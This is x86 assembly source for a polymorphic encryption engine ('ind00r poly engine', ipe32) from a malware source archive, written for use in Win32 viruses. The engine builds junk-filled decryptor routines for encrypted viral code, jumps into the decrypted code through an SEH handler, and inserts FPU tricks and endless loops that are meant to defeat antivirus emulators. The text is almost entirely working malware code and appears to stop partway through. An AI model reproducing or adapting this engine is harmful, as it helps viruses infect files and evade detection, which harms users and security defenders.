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MalwareSourceCode/Engines/Win32/Virus.Win32.Ipe32.txt

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2020-10-10 02:50:53 +00:00
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ص
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; <20><><EFBFBD><EFBFBD>ε ind00r poly engine (ipe32) v1.0 final <20><><EFBFBD>ε<EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״<EFBFBD>
; <20><><EFBFBD><EFBFBD>ε <20><><EFBFBD>ε<EFBFBD>
; <20><><EFBFBD><EFBFBD>״ 04.01.01 <20>Ĵ by slurp <20><><EFBFBD>״<EFBFBD>
; <20><><EFBFBD><EFBFBD>ε <20><><EFBFBD>ε<EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״<EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ص
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٳ
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
RANDOM_SEED equ 0BABAh * 65536 + 0BABEh
MAX_POLY_SIZE equ 3072
; main procedure: ind00r
; parameters:
;
; EAX = size of junk space (in dwords)
; EDX = address of junk space
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ this is the RVA of an empty space in (un-
; initialized data or padding space). the junk
; instructions will write to this area
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; EBX = address of code to decrypt
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ this is the RVA where the encrypted
; code will be stored in the infected file.
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;
; ECX = size of code to encrypt (in dwords)
; ESI <20> code to encrypt
; EDI <20> area >= 2kb to store the decryptor
;
; returns: the registers aren't changed except ECX that contains
; the size of the poly decryptor!
;
; NOTE: '<27>' is equal to 'points to'
;
; the decryptor constists of junk procedures, decryptor procedures, main
; loop calling the procedures and finally jump to the start address to the
; decrypted code.
ind00r proc
pushad ; preserve all registers
call iInit ; initialize poly engine
ind00r_delta: mov al, JMP_LONG ; write jump to main loop
stosb ; store opcode
push edi ; to reloc jmp l8er
stosd ; store relative offset
call WriteJunk ; write some junk bytez
call iGenProcs ; generate procedures
push edi ; here we want to jump
call RelLongJmp ; reloc jump to main loop
or byte ptr [ebp.nojunk-idelta], 0FFh
call iGenLoop ; generate main loop
call iSEHJump
sub edi, [esp.PUSHAD_EDI] ; calculate decryptor size
mov [esp.PUSHAD_ECX], edi ; ECX = size
call iEncrypt ; encrypt code!
popad ; restore all registers
ret ; return
ind00r endp
; main procedure: init
iInit proc
; first of all, calculate new delta offset
mov ebp, [esp]
add ebp, idelta - offset ind00r_delta ; calculate delta
; offset
; now init random seed
push dword ptr [ebp.RandomConst-idelta]
pop dword ptr [ebp.RandomSeed-idelta]
push edi ; push destination index
lea edi, [ebp.InitValues-idelta] ; table with init values
; let's store parameterz
stosd ; store size of junk space
xchg eax, edx
stosd ; store address of junk space
xchg eax, ebx
stosd ; store decrypt rva
xchg eax, ecx
stosd ; size of code
xchg eax, esi
stosd ; address of code
; mix the registers
lea esi, [ebp.preg-idelta]
push USED_REGS
call MixBytes
; get number of junk procedures (1 - 5)
push JUNK_PROCS ; 0 - 3
call rnd32r
add al, MIN_PROCS
mov [ebp.ProcCount-idelta], al ; number of procedures
; put the procedures in random order
lea esi, [ebp.ProcedureOrder-idelta]
push eax
call MixBytes
; put procedure calls in random order
lea esi, [ebp.CallOrder1-idelta]
push CALL_ORDER_1
call MixBytes
lea esi, [ebp.CallOrder2-idelta]
mov ecx, eax
sub al, CALL_ORDER_2 + 1
push eax
call MixBytes
; get random parameter count for each procedure
lea edi, [ebp.ProcParameters-idelta]
mov cl, MAX_PROCS
i_par_loop: push MAX_PARAMS + 03h ; 0 - MAX_PARAMS + 2
call rnd32r
sub al, 02h
jnc i_lamest
xor eax, eax
i_lamest: stosb
loop i_par_loop
xor eax, eax
stosb
; get random key, encryption & key increment type
lea edi, [ebp.CryptKey-idelta]
call rnd32
stosd ; write key
call rnd32
stosd ; write key increment
push ENC_RND
call rnd32r
stosb ; write encryption type
push KEY_RND
call rnd32r
stosb ; write key increment type
pop edi ; pop destination index
and word ptr [ebp.InLoop-idelta], 00h
ret
iInit endp
; main procedure: encrypt
iEncrypt proc
pushad
lea esi, [ebp.CryptSize-idelta]
lodsd ; CryptSize
xchg eax, ebx
lodsd ; EncryptRVA
xchg eax, edi
lodsd ; CryptKey
xchg eax, ecx
lodsd ; KeyIncrement
xchg eax, edx
encrypt_loop: mov al, [ebp.CryptType-idelta] ; get encryption type
cmp al, ENC_XOR ; XOR encryption?
jnz ie_not_xor ; no, check next
xor [edi], ecx ; yes, XOR [preg], key
ie_not_xor: cmp al, ENC_ADD ; ADD decryption?
jnz ie_not_add ; no, check next
sub [edi], ecx ; yes, SUB [preg], key
ie_not_add: cmp al, ENC_SUB ; SUB decryption?
jnz ie_not_sub ; no, check next
add [edi], ecx ; yes, ADD [preg, key
ie_not_sub: cmp al, ENC_ROL ; ROL decryption?
jnz ie_not_rol ; no, check next
ror dword ptr [edi], cl ; rotate dword
ie_not_rol: cmp al, ENC_ROR ; ROR decryption?
jnz ie_not_ror ; no, jmp to key increment
rol dword ptr [edi], cl ; rotate dword
ie_not_ror: xchg ecx, edx
mov al, [ebp.KeyIncType-idelta] ; get key increment type
cmp al, KEY_ROL ; ROL key increment?
jnz ie_n_rol ; no, check next
rol edx, cl ; rotate key
ie_n_rol: cmp al, KEY_ROR ; ROR key increment?
jnz ie_n_ror ; no, check next
ror edx, cl ; rotate key
ie_n_ror: cmp al, KEY_INC ; ADD key increment?
jnz ie_n_inc ; no, check next
add edx, ecx ; increment key
ie_n_inc: cmp al, KEY_DEC ; SUB key increment?
jnz ie_n_dec ; no
sub edx, ecx ; decrement key
ie_n_dec: xchg ecx, edx
scasd ; increment pointer by 4
dec ebx
jnz encrypt_loop
popad
ret
iEncrypt endp
; main generator: generate procedure body and some junk around the real
; instructions.
iGenProcs proc
; get number of procedures into counter
movzx ecx, byte ptr [ebp.ProcCount-idelta]
xor ebx, ebx ; set up another counter that counts from 0
; for choosin' procedures
call rnd32
xchg dh, al
gp_loop: push ecx
; getting number of current procedure
push ebx
movzx ebx, byte ptr [ebp.ProcedureOrder-idelta+ebx]
; ID # of 1st procedure
mov [ebp.CurrentProc-idelta], bl ; for junk gen to
; identify current proc
; store procedure address
mov [ebp.ProcAddress-idelta+4*ebx], edi
; get number of parameters
mov dl, [ebp.ProcParameters-idelta+ebx]
test dl, dl ; if no parameter,
jz gp_np_entry ; generate no entry
; if procedure has parameters we need to set up EBP
; choose between two (similar) entrys:
; ENTER 0000h,00h
; or
; PUSH EBP
; MOV EBP, ESP
test dh, 01h
jz gp_psh_entry
xor eax, eax ; no local variables
mov al, PROC_ENTER ; opcode for enter
stosd ; store instruction
jmp gp_np_entry
gp_psh_entry: mov eax, PUSH_REG or REG_EBP or (100h * MOV_EBP_ESP)
stosd
dec edi ; wrote 3 bytes
gp_np_entry: push ebx
call iProcJunk
pop ebx
cmp ebx, JUNK_PROC
jnb gp_junk_proc
mov esi, [ebp.Generatorz-idelta+ebx*4]
add esi, ebp
push edx
call esi ; call di generator
pop edx
gp_junk_proc: call iProcJunk ; make some junk
mov eax, edx
xor ah, ah
shl eax, 08h xor 02h ; shift left one byte + * 4
xor al, PROC_RETP ; generate ret (with params)
test ah, ah ; do we have parameters?
jz gp_no_par
mov byte ptr [edi], POP_REG or REG_EBP
test dh, 01h
jz gp_psh_exit
xor byte ptr [edi], PROC_LEAVE xor (POP_REG or REG_EBP)
gp_psh_exit: inc edi ; write pop ebp/leave
stosd ; store RET opcode (C2h)
dec edi ; only store 3 bytes
jmp gp_par
gp_no_par: inc eax
stosb ; store RET opcode (C3h)
gp_par: call WriteJunk
pop ebx
inc ebx ; increment count
pop ecx
loop gp_loop
ret
iGenProcs endp
; generates main loop with some junk between callz.
iGenLoop proc
or byte ptr [ebp.InLoop-idelta], 01h
lea esi, [ebp.CallOrder1-idelta]
movsx ecx, byte ptr [ebp.ProcCount-idelta]
or byte ptr [ebp.CurrentProc-idelta], 0FFh
gl_call_lp: xor eax, eax
lodsb ; get numbah of proc
xchg eax, ebx
inc byte ptr [ebp.CurrentProc-idelta]
cmp byte ptr [ebp.CurrentProc-idelta], DECRYPT_DATA
jne gl_yxcmv
push edi
gl_yxcmv:
push ecx
movsx ecx, byte ptr [ebp.ProcParameters-idelta+ebx]
push ebx
test ecx, ecx ; 0 parameterz?
jz gl_no_par ; don't loop
gl_push_lp:
call iPushJunk
loop gl_push_lp
gl_no_par:
pop ebx
mov edx, [ebp.ProcAddress-idelta+4*ebx]
mov byte ptr [edi], CALL_DIRECT ; write call opcode
inc edi
neg edi
lea eax, [edx+edi-04h]
neg edi
stosd
pop ecx ; outer loop counter
loop gl_call_lp
mov bl, [ebp.creg-idelta] ; generate check if counter
call gCheckReg ; reg is zero
mov ax, ESC_2BYTE xor ((JMPC_LONG xor COND_NE) * 100h)
stosw ; generate JNZ
pop eax
neg edi
lea eax, [eax+edi-04h] ; eax = eax - (edi + 04h)
neg edi
stosd ; store jump offset
ret
iGenLoop endp
; generate jump to code
iSEHJump proc
mov edx, [ebp.DecryptRVA-idelta] ; where to jump after
; decryption
; 1. let's put offset to code on stack
call rnd32
test al, 01h
jz isj_npd
; generate PUSH offset CODE
mov al, PUSH_IMM ; push 32-bit immediate
stosb
xchg eax, edx
stosd ; immediate value
jmp isj_npd0
; load reg with value and push reg
isj_npd: call rnd32
and al, REG_EDI
cmp al, REG_ESP
je isj_npd
xchg eax, ebx
push ebx
call gLoadReg
pop eax
xor al, PUSH_REG
stosb
; 2. let's clear a reg to index fs:[0]
isj_npd0: ; get a random register & clear it
call rnd32
and al, REG_EDI
cmp al, REG_ESP
je isj_npd0
mov ebx, eax
call gClearReg
xchg eax, ecx
; 3. put da old handler on stack
mov al, OVERRIDE_FS
stosb
xor ch, ch
xor esi, esi
call rnd32
test al, 01h
jz isj_dir
mov bh, OPTYPE_MOV
call rnd32
and al, 02h
add bh, al
isj_gnr: call rnd32
and al, REG_EDI
cmp al, cl
je isj_gnr
mov bl, al
mov al, OPSIZE_32
mov ah, REG_MEM
call ciOpRMReg
xchg eax, ebx
xor al, PUSH_REG
stosb
jmp isj_dir0
isj_dir: mov al, OP_GROUP5
stosb
mov bl, P_PUSH
call ciCreateOperand
isj_dir0:
; 4. now set new handler to ESP
mov al, OVERRIDE_FS
stosb
mov bx, REG_ESP xor (OPTYPE_MOV * 100h)
mov ax, OPSIZE_32 xor (MEM_REG * 100h)
call ciOpRMReg
; 5. let's create some junk that causes exception
push 03h
pop ecx
ex_junk_loop: push ecx
push OPTYPE_CMP
call rnd32r
xchg eax, ebx
call rnd32
test al, 01h
jz isj_suck
mov bh, bl
call rnd32
and al, REG_EDI
mov bl, al
push 03h
call rnd32r
mov ah, MEM_REG
call ciOpRMReg
jmp isj_suck0
isj_suck: call rnd32
xchg eax, edx
push 03h
call rnd32r
call ciOpRMImm
isj_suck0: pop ecx
loop ex_junk_loop
ret
iSEHJump endp
; load start RVA into pointer register
iProcLdPtr proc
mov edx, [ebp.DecryptRVA-idelta]
mov bl, [ebp.preg-idelta]
jmp gLoadReg
iProcLdPtr endp
; load size into counter register
iProcLdCnt proc
mov edx, [ebp.CryptSize-idelta]
mov bl, [ebp.creg-idelta]
jmp gLoadReg
iProcLdCnt endp
; load key into key register
iProcLdKey proc
mov edx, [ebp.CryptKey-idelta]
mov bl, [ebp.kreg-idelta]
jmp gLoadReg
iProcLdKey endp
; decrypt data word
iProcDecData proc
mov cl, [ebp.preg-idelta] ; operand = ptr reg
call rnd32 ; get random bit
mov bl, 08h
cmp byte ptr [ebp.CryptType-idelta], ENC_SUB
jbe dd_not_chk_ecx
cmp cl, REG_ECX
jne dd_not_chk_ecx
or al, 01h ; set 1st bit
dd_not_chk_ecx:
test al, 01h ; is it zero?
jz blaaah ; yes, use direct encryption
; create MOV/XCHG junkreg, [preg] (indirect encryption)
dd_get_jnk_reg: call iGetJunkReg
cmp al, REG_ECX ; is it ECX?
je dd_get_jnk_reg ; yes, use other junk reg
mov bl, al
xor al, MOD_REG
push eax ; push code reg for later use
mov bh, OPTYPE_MOV ; generate MOV
call rnd32 ; random numbah
and al, 02h
add bh, al ; zero, use MOV
; non-zero, use XCHG
xor esi, esi ; no displacement
mov al, OPSIZE_32 ; dword, of course
mov ah, REG_MEM ; from memory to register
call ciOpRMReg
pop ecx
call iBlockJunkAR
blaaah:
; test for encryption type
mov al, [ebp.CryptType-idelta]
cmp al, ENC_XOR
jnz dd_not_xor
mov bh, OPTYPE_XOR ; generate XOR jreg/[preg], kreg
dd_not_xor: cmp al, ENC_ADD
jnz dd_not_add
mov bh, OPTYPE_ADD ; generate ADD jreg/[preg], kreg
dd_not_add: cmp al, ENC_SUB
jnz dd_not_sub
mov bh, OPTYPE_SUB ; generate SUB jreg/[preg], kreg
dd_not_sub: ja dd_rotate ; generate ROR/ROL jreg/[preg], kreg
push ecx
mov al, OPSIZE_32
mov ah, MEM_REG
mov bl, [ebp.kreg-idelta]
xor ch, ch
xor esi, esi
call ciOpRMReg
jmp dd_exit
dd_rotate: push ecx ; code reg/pointer reg
push eax
push ecx
; we'll generate
;
; shift on [preg]:
;
; push ecx (only if kreg <> ECX)
; mov ecx, kreg ( " " " " " )
; ror [preg], cl (rol/ror)
; pop ecx (only if kreg <> ECX)
;
;
; shift on junkreg: (this variant is forced if preg = ECX)
;
; mov junkreg, [preg] (xchg/mov)
; push ecx (only if kreg <> ECX)
; mov ecx, kreg
; ror junkreg, cl (rol/ror)
; pop ecx
; mov [preg], junkreg (xchg/mov)
;
; junkreg must not be ECX
mov al, [ebp.kreg-idelta] ; load key register
cmp al, REG_ECX ; ECX?
jz dd_no_push ; yes, no need to push ecx
or al, MOD_REG
xchg eax, ecx
push REG_ECX
call iIsJReg
cmp eax, 0FFFFFFFFh
jnz dd_ecx_isj
mov al, PUSH_REG xor REG_ECX ; generate PUSH ECX
stosb ; store opcode
pop ebx
call iBlockJunkAR
push ebx
dd_ecx_isj: xchg eax, edx
mov bx, REG_ECX xor (OPTYPE_MOV * 100h) xor MOD_REG
call rnd32
mov al, OPSIZE_32
and ah, REG_MEM
jnz dd_nxchg
xchg bl, cl
dd_nxchg:
call ciOpRMReg ; generate mov ecx, kreg
dd_askdjh: call iGetJunkReg
pop ebx
push ebx
and ebx, REG_EDI
cmp eax, ebx
je dd_askdjh
cmp al, REG_ECX
je dd_askdjh
xchg eax, ebx
call iRndJunk
dd_no_push:
pop ecx
pop eax
mov bl, ROR_SHIFT ; shift type ROR
cmp al, ENC_ROR ; is it ROR?
jz dd_enc_ror ; yes, skip
dec ebx ; decrement shift type (ROL)
dd_enc_ror:
mov al, OPSIZE_32
mov bh, SHIFT_CL
xor ch, ch ; no SIB addressin'
xor esi, esi
call ciShiftRM
xchg eax, edx
cmp al, PUSH_REG xor REG_ECX
jnz dd_no_pop
pop ebx
push ebx
and ebx, REG_EDI
call iBlockJunkAR
xor al, PUSH_REG xor POP_REG
stosb
dd_no_pop:
dd_exit: pop ebx ; pop code/ptr reg
mov eax, ebx
and al, MOD_REG
xor al, MOD_REG
jnz dd_not_save_reg
and ebx, REG_EDI
call iBlockJunkAR
mov cl, [ebp.preg-idelta]
mov bh, OPTYPE_MOV
call rnd32
and al, 02h
add bh, al
mov ax, OPSIZE_32 or (MEM_REG * 100h)
xor ch, ch
xor esi, esi
call ciOpRMReg
dd_not_save_reg:
ret
iProcDecData endp
; increment key
iProcIncKey proc
mov edx, [ebp.KeyIncrement-idelta] ; load key increment
call iGetJunkReg ; get random junk reg
xchg eax, ecx
mov ebx, ecx
mov al, [ebp.KeyIncType-idelta] ; get key increment type
mov bh, OPTYPE_ADD ; first assume ADD
cmp al, KEY_DEC ; check if decrement key
jnz pik_not_sub ; nope, ADD
mov bh, OPTYPE_SUB ; yes, SUB
pik_not_sub: ja pik_rotate ; > KEY_DEC: rotate!
call rnd32
test al, 01h
jz pik_direct ; don't load reg
push ebx
call gLoadReg ; move key increment into reg
pop ebx
call iBlockJunkAR
xor bl, MOD_REG
mov cl, [ebp.kreg-idelta] ; get key reg
xor ecx, 0FFFFFF00h xor MOD_REG
push 02h
call rnd32r
test eax, eax
jz pik_blah
xchg bl, cl
pik_blah:
mov ah, al
mov al, OPSIZE_32
jmp ciOpRMReg ; create instruction
pik_direct:
mov al, OPSIZE_32
mov bl, bh
mov cl, [ebp.kreg-idelta]
or ecx, 0FFFFFF00h xor MOD_REG
jmp ciOpRMImm
pik_rotate: xor bl, bl ; ROL shift
cmp al, KEY_ROR
jnz pik_not_ror
inc ebx ; ROR shift
pik_not_ror: mov ah, dl
and ah, 1Fh
mov bh, SHIFT_IMM
mov al, OPSIZE_32
mov cl, [ebp.kreg-idelta]
xor cl, MOD_REG
call ciShiftRM
ret
iProcIncKey endp
; increment pointer by 4
iProcIncPtr proc
push 04h ; we have 4 methods
call rnd32r ; to do so
mov cl, [ebp.preg-idelta]
xor cl, MOD_REG ; pointer reg, of course
push 04h
pop edx ; mov edx, 4 (optimized :P)
test al, al
jnz pip_not_add
mov bl, OPTYPE_ADD
pip_not_add: cmp al, 01h
jnz pip_not_sub
neg edx
mov bl, OPTYPE_SUB
pip_not_sub: cmp al, 02h
jnz pip_not_adc
mov bl, OPTYPE_ADC
dec edx
mov byte ptr [edi], SET_CRY
inc edi
pip_not_adc: cmp al, 03h
jnz pip_not_lea
; generate lea preg, [preg + 04h]
mov byte ptr [edi], LOAD_EA
inc edi
and cl, REG_RND - 1
mov bl, cl
push esi
xchg edx, esi
xor ch, ch
call ciCreateOperand
pop esi
ret
pip_not_lea: mov al, OPSIZE_32
jmp ciOpRMImm
ret
iProcIncPtr endp
; decrement counter
iProcDecCnt proc
push 05h
call rnd32r
mov cl, [ebp.creg-idelta]
or cl, MOD_REG
xor edx, edx
test al, al
jnz pdc_not_dec
; generate DEC creg
mov al, DEC_REG
or al, [ebp.creg-idelta]
stosb
ret
pdc_not_dec: cmp al, 01h
jnz pdc_not_add_FF
; generate ADD creg, -1
mov bl, OPTYPE_ADD
dec edx
pdc_not_add_FF: cmp al, 02h
jnz pdc_not_sbb
; generate STC, SBB creg, 0
mov byte ptr [edi], SET_CRY
inc edi
mov bl, OPTYPE_SBB
pdc_not_sbb: cmp al, 03h
jnz pdc_not_lea
; generate LEA creg, [creg - 1]
mov byte ptr [edi], LOAD_EA
inc edi
and cl, REG_RND - 1
mov bl, cl
push esi
xor esi, esi
dec esi
xor ch, ch
call ciCreateOperand
pop esi
ret
pdc_not_lea: cmp al, 04h
jnz pdc_not_sub
; generate SUB creg, 1
mov bl, OPTYPE_SUB
inc edx
pdc_not_sub: mov al, OPSIZE_32
jmp ciOpRMImm
iProcDecCnt endp
; fool some emulatorz
iProcFPUFool proc
; initialize FPU
mov eax, FPU_WAIT or (FPU_INIT * 100h) or 'X' * 1000000h
stosd
dec edi
; choose random address to store result
call iGetWrMem
push GF_METHCNT ; choose between 4 methods
call rnd32r
push eax
inc eax
mov edx, eax
; store initial value in memory
mov al, OPSIZE_32
mov bl, OPTYPE_MOV
call ciOpRMImm
call iRndRegJ
; load dword from address into fpu register
call rnd32
and al, FPU_WORD_LDST
or al, FPU_INT_LDST
mov bl, FPU_LOAD
stosb
call ciCreateOperand
; calculate address of method and execute it!
pop eax
push eax
mov ebx, [ebp.gf_methods-idelta+4*eax]
add ebx, ebp
call ebx
; write back dword from st(0)
call iGetWrMem
call rnd32
and al, FPU_WORD_LDST xor FPU_INT_LDST
xor al, FPU_INT_LDST
mov bl, FPU_STORE
stosb
call ciCreateOperand
call iRndRegJ
; check returned value of FPU instructions.
pop eax
push edi ; label1 in ECX (see below)
movzx edx, byte ptr [ebp.gf_rslt_table-idelta+eax]
push 03h
call rnd32r
add al, OPTYPE_SUB ; SUB, CMP or XOR
xchg eax, ebx
xor al, al
push edi
call ciOpRMImm
; if not equal, generate endless loop (fuck some emulatorz)
; generate JZ or JNZ
pop ebx
pop ecx
mov al, ah ; get another random byte
test al, 40h
jnz gf_as1 ; not zero, jump after junk
xchg ecx, ebx
gf_as1:
call rnd32 ; random dword
and al, 01h
jz gf_el1 ; zero, generate JZ
; jump back before compare instruction or afta
;
; label1: <access mem junk>
; label2: CMP/SUB/XOR
; JNZ label2/label3
xchg eax, ecx
mov byte ptr [edi], JMPC_SHORT xor COND_NZ
inc edi
sub eax, edi ; calculate relative offset
dec eax ; we need to dec rel
stosb ; write relative jmp offset
ret
gf_el1:
;
; JZ label2/label3
; label1: <junk>
; JMP label1
; label2: <junk>
; label3:
;
xchg eax, ecx
mov byte ptr [edi], JMPC_SHORT xor COND_Z
inc edi
push edi
inc edi
call iBlockJunk
mov byte ptr [edi], JMP_SHORT
inc edi
sub eax, edi
dec eax
stosb
push edi
call iBlockJunk
mov ebx, edi
pop ecx
mov al, ah ; get another random byte
test al, 20h
jnz gf_as2
xchg ecx, ebx
gf_as2: xchg eax, ecx
pop eax
neg eax
lea ebx, [edi+eax-01]
neg eax
mov [eax], bl
gf_xit:
ret
gf_rslt_table db 03h, 07h, 02h, 00h
gf_meth1: call rnd32
and al, 01h
jz gf_meth11
mov ax, FPU_LDPI
stosw
call iBlockJunk
mov al, FPU_WORD_OP
stosb
mov bl, FPU_MULP
gf_meth1e: mov cl, REG_ST1 or MOD_REG
jmp ciCreateOperand
gf_meth11: mov ax, FPU_LDLG2
stosw
call iBlockJunk
mov al, FPU_WORD_OP
stosb
mov bl, FPU_DIVP
jmp gf_meth1e
gf_meth2: mov ax, FPU_LDL2T
stosw
call iBlockJunk
mov al, FPU_DWORD_OP
stosb
mov bl, FPU_MUL
mov cl, REG_ST1 or MOD_REG
jmp ciCreateOperand
gf_meth3: mov ax, FPU_LDLN2
stosw
call iBlockJunk
mov ax, FPU_SQRT
stosw
mov al, FPU_QWORD_OP
stosb
mov bl, FPU_MUL
mov cl, REG_ST1 or MOD_REG
call ciCreateOperand
mov ax, FPU_DWORD_LDST or (100h * (MOD_REG xor 09h))
stosw
ret
gf_methods equ $
dd offset gf_meth1-idelta
dd offset gf_meth2-idelta
dd offset gf_meth3-idelta
GF_METHCNT equ 3
iProcFPUFool endp
; main procedure: generate 1-3 different junk blockz
iProcJunk proc
push ecx ; preserve counter
push 03h ; get random number between 0 and 4
call rnd32r
inc eax ; add 1 (1 - 3)
xchg eax, ecx ; load into counter
call iBlockJunk ; generate junk blocks
loop $ - 05h
pop ecx ; restore counter
ret
iProcJunk endp
; main procedure: generate 1 junk block
iBlockJunk proc
mov bl, 08h
iBlockJunkAR: ; avoid register in ebx
test byte ptr [ebp.nojunk-idelta], 0FFh
jz bj_sueder
ret
bj_sueder:
pushad
push BJ_BLOCKCNT ; choose between multiple methods
call rnd32r
mov edx, [ebp.bj_blockz-idelta+4*eax] ; get address of
add edx, ebp ; method procedure & relocate
bj_nxtr: call iGetJunkReg ; get a junk reg
cmp al, bl ; test if we shouldn't touch it
je bj_nxtr ; yes, get another junk reg
xchg ebx, eax ; junk reg in EAX
call edx ; execute method
mov [esp], edi
popad
ret
; junk block 1:
; 1. <compare/sub register/memory with constant>
; 2. <conditional jump to 4.>
; 3. <2 - 4 junk instructions>
; 4.
bj_block1: push ebx ; save register 4 l8er use
mov dh, bl
mov bl, OPTYPE_SUB
call rnd32 ; get random number
and al, 02h ; 0/2
add bl, al ; OPTYPE_SUB + 2 = OPTYPE_CMP
call rnd32
and al, 01h
mov dl, al ; dl = 0/1 (reg/junk)
test dl, dl
jz bj_b1_nreg1
call rnd32
and al, REG_EDI ; 00000xxx random reg
xor al, MOD_REG ; 11000xxx set reg bits
xchg eax, ecx
jmp bj_b1_nmem1
bj_b1_nreg1: call iGetMemory ; get readable memory
bj_b1_nmem1: cmp bl, OPTYPE_SUB ; if not SUB, get read only
jnz bj_b1_nro ; register or memory
test dl, dl
jz bj_b1_nreg2
mov cl, dh ; writeable register
xor ecx, 0FFFFFF00h xor MOD_REG
jmp bj_b1_nro
bj_b1_nreg2: call iGetWrMem
bj_b1_nro: mov al, bl
xor al, MOD_REG
test al, MOD_REG
jz bj_b1_regalign
call iOpSizeMem
jmp bj_b1_blah
bj_b1_regalign: call iOpSizeReg
bj_b1_blah: push eax
call rnd32
xchg eax, edx
call rnd32
test al, 01h
jz bj_b1_akldf
movsx edx, dl
bj_b1_akldf: pop eax
call ciOpRMImm
pop ebx
call rnd32
and al, 0Fh ; get random conditional jump type
xor al, JMPC_SHORT ; make jump opcode
stosb ; store it
push edi ; push address of immediate
stosb ; store placeholder byte
call iRndJunk ; make some junk
pop eax
not eax
lea ebx, [edi+eax] ; relative address
not eax
mov [eax], bl ; store relative jump address
ret
; junk block 2:
; 1. <push junk>
; 2. <2 - 4 junk instructions>
; 3. <pop junk>
bj_block2: call iPushJunk
call iRndJunk ; make some junk
jmp iPopJunk
bj_block3: call rnd32 ; generate STC/CLC/STD/CLD
and al, 05h
xor al, 0F8h
stosb
jmp iRndJunk
bj_blockz equ $
